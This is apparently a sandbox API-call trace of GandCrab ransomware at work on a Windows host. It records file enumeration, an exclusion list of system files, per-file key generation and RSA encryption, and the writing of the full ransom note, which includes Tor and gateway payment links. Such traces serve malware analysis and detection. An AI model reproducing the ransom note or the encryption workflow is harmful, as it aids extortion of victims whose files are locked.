SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.780] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.780] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\Wef\\AppCommands\\\\GDCB-DECRYPT.txt") returned 278 [0171.780] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\Wef\\AppCommands\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\wef\\appcommands\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.780] GetLastError () returned 0x3 [0171.780] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml") returned 266 [0171.780] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml") returned 266 [0171.780] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml") returned 266 [0171.780] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml") returned 266 [0171.780] lstrcmpiW (lpString1="winproj.exe_Rules.xml", lpString2="desktop.ini") returned 1 [0171.780] lstrcmpiW (lpString1="winproj.exe_Rules.xml", lpString2="autorun.inf") returned 1 [0171.780] lstrcmpiW (lpString1="winproj.exe_Rules.xml", lpString2="ntuser.dat") returned 1 [0171.780] lstrcmpiW (lpString1="winproj.exe_Rules.xml", lpString2="iconcache.db") returned 1 [0171.780] lstrcmpiW (lpString1="winproj.exe_Rules.xml", lpString2="bootsect.bak") returned 1 [0171.780] lstrcmpiW (lpString1="winproj.exe_Rules.xml", lpString2="boot.ini") returned 1 [0171.780] lstrcmpiW (lpString1="winproj.exe_Rules.xml", lpString2="ntuser.dat.log") returned 1 [0171.780] lstrcmpiW (lpString1="winproj.exe_Rules.xml", lpString2="thumbs.db") returned 1 [0171.780] lstrcmpiW (lpString1="winproj.exe_Rules.xml", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.780] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\winproj.exe_rules.xml")) returned 0xffffffff [0171.780] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml", dwFileAttributes=0xfffffffe) returned 0 [0171.780] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.781] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.781] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.781] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.781] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.781] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.782] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.782] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.782] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.782] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.782] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0171.784] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5f6030) returned 1 [0171.784] CryptGetKeyParam (in: hKey=0x5f6030, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.784] CryptEncrypt (in: hKey=0x5f6030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e30000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2e30000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.784] GetLastError () returned 0x0 [0171.784] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.784] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0171.786] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617928) returned 1 [0171.786] CryptGetKeyParam (in: hKey=0x617928, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.786] CryptEncrypt (in: hKey=0x617928, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e40000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2e40000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.786] GetLastError () returned 0x0 [0171.786] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.786] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\winproj.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.786] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml") returned 266 [0171.786] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml") returned 266 [0171.786] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml") returned 266 [0171.786] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml") returned 266 [0171.786] lstrcmpiW (lpString1="winword.exe_Rules.xml", lpString2="desktop.ini") returned 1 [0171.786] lstrcmpiW (lpString1="winword.exe_Rules.xml", lpString2="autorun.inf") returned 1 [0171.786] lstrcmpiW (lpString1="winword.exe_Rules.xml", lpString2="ntuser.dat") returned 1 [0171.786] lstrcmpiW (lpString1="winword.exe_Rules.xml", lpString2="iconcache.db") returned 1 [0171.786] lstrcmpiW (lpString1="winword.exe_Rules.xml", lpString2="bootsect.bak") returned 1 [0171.786] lstrcmpiW (lpString1="winword.exe_Rules.xml", lpString2="boot.ini") returned 1 [0171.786] lstrcmpiW (lpString1="winword.exe_Rules.xml", lpString2="ntuser.dat.log") returned 1 [0171.786] lstrcmpiW (lpString1="winword.exe_Rules.xml", lpString2="thumbs.db") returned 1 [0171.786] lstrcmpiW (lpString1="winword.exe_Rules.xml", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.787] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\winword.exe_rules.xml")) returned 0xffffffff [0171.787] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml", dwFileAttributes=0xfffffffe) returned 0 [0171.787] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.787] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.787] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.787] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.787] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.787] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.788] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.788] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.788] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.788] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.788] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0171.790] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5f6270) returned 1 [0171.790] CryptGetKeyParam (in: hKey=0x5f6270, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.790] CryptEncrypt (in: hKey=0x5f6270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e50000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2e50000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.790] GetLastError () returned 0x0 [0171.791] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.791] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.793] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x635c98) returned 1 [0171.793] CryptGetKeyParam (in: hKey=0x635c98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.793] CryptEncrypt (in: hKey=0x635c98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e60000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2e60000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.793] GetLastError () returned 0x0 [0171.793] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.793] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\winword.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.793] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\GDCB-DECRYPT.txt") returned 256 [0171.793] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\GDCB-DECRYPT.txt") returned 256 [0171.793] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\GDCB-DECRYPT.txt") returned 256 [0171.793] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\GDCB-DECRYPT.txt") returned 256 [0171.793] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0171.793] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0171.793] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.793] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0171.793] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0171.793] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0171.793] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0171.793] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0171.793] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0171.794] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.794] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.794] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.794] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.794] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\OTele\\\\GDCB-DECRYPT.txt") returned 263 [0171.794] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\OTele\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\otele\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.794] GetLastError () returned 0x3 [0171.794] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\PowerP16.customUI") returned 257 [0171.794] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\PowerP16.customUI") returned 257 [0171.794] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Word16.customUI") returned 255 [0171.794] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Word16.customUI") returned 255 [0171.795] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.795] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.795] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.795] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.795] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\\\GDCB-DECRYPT.txt") returned 259 [0171.795] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0171.797] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0171.797] WriteFile (in: hFile=0x510, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d424, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d424*=0xad6, lpOverlapped=0x0) returned 1 [0171.798] CloseHandle (hObject=0x510) returned 1 [0171.799] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.799] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.799] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.799] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.811] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\\\GDCB-DECRYPT.txt") returned 274 [0171.811] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.811] GetLastError () returned 0x3 [0171.812] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayLogo.png") returned 273 [0171.812] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayLogo.png") returned 273 [0171.812] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayLogo.png") returned 273 [0171.812] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayLogo.png") returned 273 [0171.812] lstrcmpiW (lpString1="AutoPlayLogo.png", lpString2="desktop.ini") returned -1 [0171.812] lstrcmpiW (lpString1="AutoPlayLogo.png", lpString2="autorun.inf") returned -1 [0171.812] lstrcmpiW (lpString1="AutoPlayLogo.png", lpString2="ntuser.dat") returned -1 [0171.812] lstrcmpiW (lpString1="AutoPlayLogo.png", lpString2="iconcache.db") returned -1 [0171.812] lstrcmpiW (lpString1="AutoPlayLogo.png", lpString2="bootsect.bak") returned -1 [0171.812] lstrcmpiW (lpString1="AutoPlayLogo.png", lpString2="boot.ini") returned -1 [0171.812] lstrcmpiW (lpString1="AutoPlayLogo.png", lpString2="ntuser.dat.log") returned -1 [0171.812] lstrcmpiW (lpString1="AutoPlayLogo.png", lpString2="thumbs.db") returned -1 [0171.812] lstrcmpiW (lpString1="AutoPlayLogo.png", lpString2="GDCB-DECRYPT.txt") returned -1 [0171.812] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplaylogo.png")) returned 0xffffffff [0171.812] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayLogo.png", dwFileAttributes=0xfffffffe) returned 0 [0171.812] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.813] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.813] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.813] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.813] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.813] CryptAcquireContextW (in: phProv=0x285cfb4, 